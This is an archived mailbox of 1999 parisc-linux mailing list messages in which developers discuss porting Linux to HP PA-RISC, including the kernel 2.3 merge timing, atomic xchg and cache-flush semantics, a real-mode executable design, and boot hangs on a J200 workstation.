VMLINUX 0.0: Dummy kernel image loaded and executing!

It is now safe to reboot.

It is now safe to reboot.

It is now safe to reboot.

It is now safe to reboot.

It is now safe to reboot.

It is now safe to reboot.
/





-------------------------------------------------------------------------
To unsubscribe: send e-mail to hppa-linux-request@thepuffingroup.com with
`unsubscribe' as the subject.



From - Thu Nov 08 21:11:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Progress - Update
Date: Wed, 01 Dec 1999 13:29:25 -0500
Organization: The Puffin Group
Lines: 13
Approved: news@gmane.org
Message-ID: <38456905.BF53929B@thepuffingroup.com>
References: <E11tE6d-0008Lk-00@the-village.bc.nu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618679 28783 80.91.229.3 (22 Nov 2014 01:11:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:19 +0000 (UTC)
Cc: Philipp Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>,
        dave@hiauly1.hia.nrc.ca, mklein@dis.com, sieler@allegro.com,
        parisc-linux@thepuffingroup.com
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: adevries@thepuffingroup.com  Wed Dec  1 11:26:30 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id LAA08547
	for <parisc-linux@puffin.external.hp.com>; Wed, 1 Dec 1999 11:26:29 -0700
Original-Received: (qmail 1921 invoked by uid 15267); 1 Dec 1999 18:28:28 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 1911 invoked from network); 1 Dec 1999 18:28:28 -0000
Original-Received: from unknown (HELO feather.thepuffingroup.com) (216.88.157.130)
  by mailserv2.iuinc.com with SMTP; 1 Dec 1999 18:28:28 -0000
Original-Received: from thepuffingroup.com (IDENT:adevries@localhost [127.0.0.1])
	by feather.thepuffingroup.com (8.9.3/8.9.3) with ESMTP id NAA10979;
	Wed, 1 Dec 1999 13:29:28 -0500
Original-Sender: adevries@thepuffingroup.com
X-Mailer: Mozilla 4.51 [en] (X11; I; Linux 2.2.10 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:6544

Alan Cox wrote:
> > IMHO we really should do the 2.3 merge first.
> Yep

So when do people think we should do that merge?

- Alex

-- 
Alex deVries
Vice President of Engineering
The Puffin Group


From - Thu Nov 08 21:11:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Progress - Update
Date: Wed, 1 Dec 1999 13:33:09 -0500 (EST)
Lines: 24
Approved: news@gmane.org
Message-ID: <199912011833.NAA17015@hiauly1.hia.nrc.ca>
References: <E11tE6d-0008Lk-00@the-village.bc.nu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618679 28785 80.91.229.3 (22 Nov 2014 01:11:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:19 +0000 (UTC)
Cc: Philipp.H.Rumpf@mathe.stud.uni-erlangen.de, mklein@dis.com,
        alan@lxorguk.ukuu.org.uk, sieler@allegro.com,
        parisc-linux@thepuffingroup.com
To: alan@lxorguk.ukuu.org.uk (Alan Cox)
Original-X-From: dave@hiauly1.hia.nrc.ca  Wed Dec  1 11:31:51 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id LAA08966
	for <parisc-linux@puffin.external.hp.com>; Wed, 1 Dec 1999 11:31:51 -0700
Original-Received: (qmail 4404 invoked by uid 15267); 1 Dec 1999 18:33:50 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 4397 invoked from network); 1 Dec 1999 18:33:49 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.44.13)
  by mailserv2.iuinc.com with SMTP; 1 Dec 1999 18:33:49 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id NAA17015;
	Wed, 1 Dec 1999 13:33:10 -0500 (EST)
In-Reply-To: <E11tE6d-0008Lk-00@the-village.bc.nu> from "Alan Cox" at Dec 1, 99 06:03:39 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:6545

> 
> > 
> > Furthermore we have to care for cases like:
> > 
> > 	var = 1;
> > x=0;
> > CPU0		CPU1
> > xchg(&var,x);	test_and_set_bit(0, &var);
> 
> Umm. Does anyone actually rely on that ? Im not sure the non x86 ports have
> that property

Also, we may need to flush the cache line for &var.  The coding in buffer.c
which caused the original panic in xchg looks dubiousin this regoard:

        /* Update the reuse list */
		tail->b_next_free = xchg(&reuse_list, NULL);
		reuse_list = bh;


-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:11:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Progress - Update
Date: Wed, 1 Dec 1999 18:34:33 +0000 (GMT)
Lines: 10
Approved: news@gmane.org
Message-ID: <E11tEaY-0008Ob-00@the-village.bc.nu>
References: <38456905.BF53929B@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Content-Type: text
X-Trace: ger.gmane.org 1416618680 28788 80.91.229.3 (22 Nov 2014 01:11:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:20 +0000 (UTC)
Cc: alan@lxorguk.ukuu.org.uk, Philipp.H.Rumpf@mathe.stud.uni-erlangen.de,
        dave@hiauly1.hia.nrc.ca, mklein@dis.com, sieler@allegro.com,
        parisc-linux@thepuffingroup.com
To: adevries@thepuffingroup.com (Alex deVries)
Original-X-From: alan@lxorguk.ukuu.org.uk  Wed Dec  1 11:33:10 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id LAA09077
	for <parisc-linux@puffin.external.hp.com>; Wed, 1 Dec 1999 11:33:09 -0700
Original-Received: (qmail 5064 invoked by uid 15267); 1 Dec 1999 18:35:08 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 5050 invoked from network); 1 Dec 1999 18:35:07 -0000
Original-Received: from lightning.swansea.uk.linux.org (HELO the-village.bc.nu) (194.168.151.1)
  by mailserv2.iuinc.com with SMTP; 1 Dec 1999 18:35:07 -0000
Original-Received: from alan by the-village.bc.nu with local (Exim 2.12 #1)
	id 11tEaY-0008Ob-00; Wed, 1 Dec 1999 18:34:51 +0000
In-Reply-To: <38456905.BF53929B@thepuffingroup.com> from "Alex deVries" at Dec 1, 99 01:29:25 pm
Xref: news.gmane.org gmane.linux.ports.parisc:6546

> Alan Cox wrote:
> > > IMHO we really should do the 2.3 merge first.
> > Yep
> 
> So when do people think we should do that merge?

2.3.29 is probably a good candidate for this. Its reasonably solid and has
all the relevant stuff that we need to update to handle. 2.3.30pre looks a bit
shaky right now and chasing pre releases wouldnt be fun


From - Thu Nov 08 21:11:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Progress - Update
Date: Wed, 01 Dec 1999 10:55:21 -0800
Lines: 23
Approved: news@gmane.org
Message-ID: <199912011856.KAA12102@milano.cup.hp.com>
References: <199912011833.NAA17015@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618680 28790 80.91.229.3 (22 Nov 2014 01:11:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:20 +0000 (UTC)
Cc: alan@lxorguk.ukuu.org.uk (Alan Cox),
        Philipp.H.Rumpf@mathe.stud.uni-erlangen.de, mklein@dis.com,
        sieler@allegro.com, parisc-linux@thepuffingroup.com
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: grundler@cup.hp.com  Wed Dec  1 11:52:55 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id LAA09368
	for <parisc-linux@puffin.external.hp.com>; Wed, 1 Dec 1999 11:52:55 -0700
Original-Received: (qmail 14799 invoked by uid 15267); 1 Dec 1999 18:54:42 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 14784 invoked from network); 1 Dec 1999 18:54:41 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 1 Dec 1999 18:54:41 -0000
Original-Received: from milano.cup.hp.com (root@milano.cup.hp.com [15.16.124.11])
	by palrel3.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id KAA13467;
	Wed, 1 Dec 1999 10:54:32 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id KAA12102; Wed, 1 Dec 1999 10:56:42 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Wed, 01 Dec 1999 13:33:09 PST."
             <199912011833.NAA17015@hiauly1.hia.nrc.ca> 
Xref: news.gmane.org gmane.linux.ports.parisc:6547

"John David Anglin" wrote:
...
> Also, we may need to flush the cache line for &var.  The coding in buffer.c
> which caused the original panic in xchg looks dubiousin this regoard:
> 
>         /* Update the reuse list */
> 		tail->b_next_free = xchg(&reuse_list, NULL);
> 		reuse_list = bh;

If this data struct is only touched by processors, they are coherent
and flushing is not needed. (Except VM aliases...but I have to ignore
this case due to my ignorance).  If any driver DMAs this data and the
platform is I/O coherent (ie has ccio, epic or sba driver), processor
doesn't need to flush either. Processor should only need to flush on
*any* (SMP or not) platform which is not I/O coherent (assume the page
is mapped cacheable).

grant

Grant Grundler
Unix Developement Lab
+1.408.447.7253


From - Thu Nov 08 21:11:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Progress - Update
Date: Wed, 1 Dec 1999 18:54:21 +0000 (GMT)
Lines: 10
Approved: news@gmane.org
Message-ID: <E11tEtl-0008Q0-00@the-village.bc.nu>
References: <199912011833.NAA17015@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Content-Type: text
X-Trace: ger.gmane.org 1416618680 28794 80.91.229.3 (22 Nov 2014 01:11:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:20 +0000 (UTC)
Cc: alan@lxorguk.ukuu.org.uk, Philipp.H.Rumpf@mathe.stud.uni-erlangen.de,
        mklein@dis.com, sieler@allegro.com, parisc-linux@thepuffingroup.com
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: alan@lxorguk.ukuu.org.uk  Wed Dec  1 11:54:24 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id LAA09476
	for <parisc-linux@puffin.external.hp.com>; Wed, 1 Dec 1999 11:54:23 -0700
Original-Received: (qmail 15661 invoked by uid 15267); 1 Dec 1999 18:56:22 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 15649 invoked from network); 1 Dec 1999 18:56:21 -0000
Original-Received: from lightning.swansea.uk.linux.org (HELO the-village.bc.nu) (194.168.151.1)
  by mailserv2.iuinc.com with SMTP; 1 Dec 1999 18:56:21 -0000
Original-Received: from alan by the-village.bc.nu with local (Exim 2.12 #1)
	id 11tEtl-0008Q0-00; Wed, 1 Dec 1999 18:54:41 +0000
In-Reply-To: <199912011833.NAA17015@hiauly1.hia.nrc.ca> from "John David Anglin" at Dec 1, 99 01:33:09 pm
Xref: news.gmane.org gmane.linux.ports.parisc:6548

> Also, we may need to flush the cache line for &var.  The coding in buffer.c
> which caused the original panic in xchg looks dubiousin this regoard:
> 
>         /* Update the reuse list */
> 		tail->b_next_free = xchg(&reuse_list, NULL);
> 		reuse_list = bh;

spin lock and atomic ops are expected to be write barriers across all
CPUs


From - Thu Nov 08 21:11:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Progress - Update
Date: Thu, 2 Dec 1999 03:51:30 +0100
Lines: 17
Approved: news@gmane.org
Message-ID: <19991202035130.B6599@mathe.stud.uni-erlangen.de>
References: <E11tE6d-0008Lk-00@the-village.bc.nu> <38456905.BF53929B@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618681 28797 80.91.229.3 (22 Nov 2014 01:11:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:21 +0000 (UTC)
Cc: Alan Cox <alan@lxorguk.ukuu.org.uk>,
        Philipp Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>,
        dave@hiauly1.hia.nrc.ca, mklein@dis.com, sieler@allegro.com,
        parisc-linux@thepuffingroup.com
To: Alex deVries <adevries@thepuffingroup.com>
Original-X-From: prumpf@abacus.uni-erlangen.de  Wed Dec  1 19:48:09 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id TAA11912
	for <parisc-linux@puffin.external.hp.com>; Wed, 1 Dec 1999 19:48:05 -0700
Original-Received: (qmail 18537 invoked by uid 15267); 2 Dec 1999 02:50:05 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 18522 invoked from network); 2 Dec 1999 02:50:04 -0000
Original-Received: from max5.rrze.uni-erlangen.de (root@131.188.3.50)
  by mailserv2.iuinc.com with SMTP; 2 Dec 1999 02:50:04 -0000
Original-Received: from [10.10.213.163] by max5.rrze.uni-erlangen.de with ESMTP; Thu, 2 Dec 1999 03:50:00 +0100
Original-Received: (from prumpf@localhost)
	by abacus (8.9.3/8.9.3) id DAA07592;
	Thu, 2 Dec 1999 03:52:30 +0100
X-Mailer: Mutt 1.0pre3us
In-Reply-To: <38456905.BF53929B@thepuffingroup.com>
Xref: news.gmane.org gmane.linux.ports.parisc:6549

> So when do people think we should do that merge?

I actually just got 2.3.29 to build (not work, but I'm sure it shouldn't take too
long to do that) with the parisc changes hacked in.

I think within the next few days I should have a kernel tree that works as much
as our current tree does, but is based on 2.3.

The other issue is when we want the CVS tree to be moved to 2.3.  This mainly
depends on whether people have large uncommitted patch sets that they would
like to finish / commit as long as they at least have an idea how the kernel
behaves without the patch.

So, anyone ?

	Philipp Rumpf


From - Thu Nov 08 21:11:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carl Johnson <cjs@mcn.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Booting on J200
Date: Wed, 01 Dec 1999 19:47:21 -0100
Organization: CJ Solutions
Lines: 27
Approved: news@gmane.org
Message-ID: <38458959.9307D971@mcn.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618681 28800 80.91.229.3 (22 Nov 2014 01:11:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:21 +0000 (UTC)
To: "parisc-linux@thepuffingroup.com" <parisc-linux@thepuffingroup.com>
Original-X-From: cjs@mcn.net  Wed Dec  1 19:55:16 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id TAA12112
	for <parisc-linux@puffin.external.hp.com>; Wed, 1 Dec 1999 19:55:15 -0700
Original-Received: (qmail 20659 invoked by uid 15267); 2 Dec 1999 02:57:15 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 20630 invoked from network); 2 Dec 1999 02:57:13 -0000
Original-Received: from pm2b-048.huntley.mcn.net (HELO cjs01.cj-solutions.com) (root@205.163.45.48)
  by mailserv2.iuinc.com with SMTP; 2 Dec 1999 02:57:13 -0000
Original-Received: from mcn.net (cjohnson@cj-solutions.com [192.168.0.10])
	by cjs01.cj-solutions.com (8.9.3/8.9.3) with ESMTP id TAA09370
	for <parisc-linux@thepuffingroup.com>; Wed, 1 Dec 1999 19:47:21 -0100
Original-Sender: cjohnson@cj-solutions.com
X-Mailer: Mozilla 4.7 [en] (X11; U; Linux 2.2.12 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:6550

I have built my own kernels and modified them some, but have also
used the prebuilt kernels, I have had no success figuring out
what hangs the kernel but anyhow, I will tell of my testing
of the 1999-10-19 and 1999-11-13. And Hopefully I will
recieve some help, _TIA_

--
1999-10-19: Hangs at transfering control to kernel

--
1999-11-13: Hnags after:

Transfering control to kernel. (At entry point 0x00010000)
kernel(0x00148C80, 0x00504010, 0x00148C80, 0x00016640)
Clear BSS 0x0011B048 --> 0x0013D384
Boot Loader: PA/Linux, maybe PALO
real_mode setup exiting

--
1999-11-17 CVS snapshot with some of my own modif. to try to solve
the hanging at real_mode.

__Will not build__

-- 
Carl Johnson


From - Thu Nov 08 21:11:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@debian.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux]
Date: Thu, 02 Dec 1999 09:07:58 -0700
Lines: 61
Approved: news@gmane.org
Message-ID: <199912021607.JAA25205@debian.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618681 28806 80.91.229.3 (22 Nov 2014 01:11:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:21 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: bame@debian.fc.hp.com  Thu Dec  2 09:06:07 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id JAA17588
	for <parisc-linux@puffin.external.hp.com>; Thu, 2 Dec 1999 09:06:07 -0700
Original-Received: (qmail 24116 invoked by uid 15267); 2 Dec 1999 16:08:07 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 24109 invoked from network); 2 Dec 1999 16:08:06 -0000
Original-Received: from hpfcla.fc.hp.com (15.254.48.2)
  by mailserv2.iuinc.com with SMTP; 2 Dec 1999 16:08:06 -0000
Original-Received: from udlkern.fc.hp.com (root@udlkern.fc.hp.com [15.1.52.48])
	by hpfcla.fc.hp.com (8.9.1/8.9.1) with ESMTP id JAA17647
	for <parisc-linux@thepuffingroup.com>; Thu, 2 Dec 1999 09:08:00 -0700 (MST)
Original-Received: from debian.fc.hp.com (root@debian.fc.hp.com [15.1.48.119]) by udlkern.fc.hp.com with ESMTP (8.8.6 (PHNE_14041)/8.7.1) id JAA23304 for <parisc-linux@thepuffingroup.com>; Thu, 2 Dec 1999 09:07:59 -0700 (MST)
Original-Received: from debian.fc.hp.com (bame@localhost [127.0.0.1])
	by debian.fc.hp.com (8.9.3/8.9.3/Debian/GNU) with ESMTP id JAA25205
	for <parisc-linux@thepuffingroup.com>; Thu, 2 Dec 1999 09:07:59 -0700
Xref: news.gmane.org gmane.linux.ports.parisc:6551

--------

If you touch Linux code which works in real addressing mode
(initial setup, interrupts before VM is enabled, PDC/IODC) please
read 'Embedded Real-Mode Executable in vmlinux'
at http://puffin.external.hp.com/~bame/ee.html
I have this working based on an old-ish set of code and
need to update it (maybe after the 2.3 merge).  IF YOU HAVE OBJECTIONS
or QUESTIONS please raise them soon.

I have attached the plusses and minuses part of the document here,
but it may not make sense out of context (or in context either :-)).

Thanks
	-Paul Bame

Good Qualities

   * Code which runs in real mode is quite separate from code which runs in
     virtual mode. One cannot by accident mix real/virtual code or data.
     This should improve maintainability and reduce surprises.
   * Real-mode code for setup, interrupt handling(*), and firmware
     (PDC/IODC) access, may be written in C, with no suprise failures caused
     by the whims of the C compiler and linker. This should improve
     maintainability too, and using C should make this code more accessable
     to non-assembly code wranglers.
     (*)Nitpicker note: the interrupt vector table will still probably be
     written in assembly, but the code it calls can be C.
   * Certain interrupt handlers may be best implemented in real mode (TLB
     miss?), and this provides an obvious place and method to do so (though
     needed access to the kernel page tables may recommend a virtual-mode
     TLB miss handler).
   * It is probably possible to eliminate some of the currently duplicated
     PDC code.
   * The scheme is independent of the address at which we relocate vmlinux.
     This is important since there are folks who want to relocate it to
     0xC000-0000, 0x8000-0000, and 0x0001-0000.

Bad Qualitites

   * It's different. Today's kernel coders will not be familiar with this
     scheme.
   * Much of the code available to the virtual kernel, such as printk,
     memcpy, and other common functions, is not available in real land
     unless it is copied. This may seem pretty bad, but we're already
     copying code under our current scheme (e.g., real/vsprintf.c) because
     of the limitations of PC-relative branches.
   * The vmlinux file is larger, since the real-mode BSS segment is fully
     expanded in realmode.S.
   * More thought/design is required when writing code which has both real
     and virtual portions. This is probably a benefit in disguise, but it
     may cause frustration during the turn-on period.
   * The convert program must be updated when we switch to ELF. Since the
     boot loader and the implementation of exec() will need to do the same,
     I don't consider this a big deal.
   * Once we convert to the embedded executable scheme, it will be
     inconvenient to go back, because it will entail small but widespread
     changes. This could be mitigated by using a CVS branch (and tag)
     perhaps.
   * The compiler's millicode library is duplicated.


From - Thu Nov 08 21:11:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] /usr/conf/machine header files
Date: Thu, 2 Dec 1999 16:47:23 -0800 (PST)
Lines: 35
Approved: news@gmane.org
Message-ID: <199912030047.QAA13676@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=X-roman8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618681 28810 80.91.229.3 (22 Nov 2014 01:11:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:21 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Thu Dec  2 17:44:20 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id RAA20389
	for <parisc-linux@puffin.external.hp.com>; Thu, 2 Dec 1999 17:44:19 -0700
Original-Received: (qmail 10722 invoked by uid 15267); 3 Dec 1999 00:46:17 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 10714 invoked from network); 3 Dec 1999 00:46:16 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 3 Dec 1999 00:46:16 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.16.124.11])
	by palrel1.hp.com (Postfix) with ESMTP id 98420B18
	for <parisc-linux@thepuffingroup.com>; Thu,  2 Dec 1999 16:46:15 -0800 (PST)
Original-Received: (from grundler@localhost) by milano.cup.hp.com (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id QAA13676 for parisc-linux@thepuffingroup.com; Thu, 2 Dec 1999 16:47:23 -0800 (PST)
Xref: news.gmane.org gmane.linux.ports.parisc:6552

Hi all,
This started with the search for IODC return data. IODC data is
"documented" in the header file /usr/conf/machine/cpu.h. This is
on both 10.20 and 11.00 HP-UX.  Look for real_IODC_data. And remember
the bit fields are allocated from "left to right" (MSB is bit 0).


This directory seems to be a gold mine of information about hardware.
I happened to look into /usr/conf/machine/save_state.h and found:
 *      There are three kinds of PA-RISC computer:
 *
 *      PA-RISC 1.0 (sometimes called PA83)
 *              32-bit integer registers with 16 64-bit floating point
 *              registers.  No Series 700 is a PA 1.0 machine and only a
 *              few models of the oldest Series 600 and 800 machines are
 *              PA 1.0.
...

Anyone interested in context switching though might find this
*very* interesting reading...Other interesting files are:

   File     Example
   -------- ----------------
   boot.h   /* Parameters exchanged between kernel loader and the kernel    */
   cpu.h    real_IODC_data and Module type numbers
   eeprom.h eg MIRAGE_EEPROM_BASE_ADDR is defined here
   eisa.h   Sversion for snakes/WAX EISA and EISA system board ids
   frame.h  Assembly Language Offsets for Argument or Stack Pointer
...


Happy Hunting!

grant


From - Thu Nov 08 21:11:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carl Johnson <cjs@mcn.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Booting on J200
Date: Thu, 02 Dec 1999 20:50:53 -0100
Organization: CJ Solutions
Lines: 136
Approved: news@gmane.org
Message-ID: <3846E9BD.DFC8D51C@mcn.net>
References: <38458959.9307D971@mcn.net> <99120220503901.00296@P100>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416618682 28813 80.91.229.3 (22 Nov 2014 01:11:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:22 +0000 (UTC)
To: Helge Deller <Helge.Deller@ruhr-uni-bochum.de>,
        "parisc-linux@thepuffingroup.com" <parisc-linux@thepuffingroup.com>
Original-X-From: cjs@mcn.net  Thu Dec  2 20:58:52 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id UAA21630
	for <parisc-linux@puffin.external.hp.com>; Thu, 2 Dec 1999 20:58:51 -0700
Original-Received: (qmail 9910 invoked by uid 15267); 3 Dec 1999 04:00:53 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 9892 invoked from network); 3 Dec 1999 04:00:50 -0000
Original-Received: from pm2b-043.huntley.mcn.net (HELO cjs01.cj-solutions.com) (root@205.163.45.43)
  by mailserv2.iuinc.com with SMTP; 3 Dec 1999 04:00:50 -0000
Original-Received: from mcn.net (cjohnson@cj-solutions.com [192.168.0.10])
	by cjs01.cj-solutions.com (8.9.3/8.9.3) with ESMTP id UAA12551;
	Thu, 2 Dec 1999 20:50:53 -0100
Original-Sender: cjohnson@cj-solutions.com
X-Mailer: Mozilla 4.7 [en] (X11; U; Linux 2.2.12 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:6553

Thanks Helge:

I never said I looked at the obvious first! Poor planning/thinking
on my part. I did however about 2 secs before reading your post
did recompile a FRESH ("VIRGIN") source and did manipulate
the command line and get it to give me a Pengiun powered PA
with a shell!

Thanks Anyhow!

Helge Deller wrote:
> 
> Am Wed, 01 Dec 1999 schrieb Carl Johnson:
> > I have built my own kernels and modified them some, but have also
> > used the prebuilt kernels, I have had no success figuring out
> > what hangs the kernel but anyhow, I will tell of my testing
> > of the 1999-10-19 and 1999-11-13. And Hopefully I will
> > recieve some help, _TIA_
> >
> > --
> > 1999-10-19: Hangs at transfering control to kernel
> >
> > --
> > 1999-11-13: Hnags after:
> >
> > Transfering control to kernel. (At entry point 0x00010000)
> > kernel(0x00148C80, 0x00504010, 0x00148C80, 0x00016640)
> > Clear BSS 0x0011B048 --> 0x0013D384
> > Boot Loader: PA/Linux, maybe PALO
> > real_mode setup exiting
> >
> 
> Hello Carl,
> 
> Are you shure, that the outputs doesnt go to the first COM-Port as default (in
> which case you would never see something more on the screen)...
> 
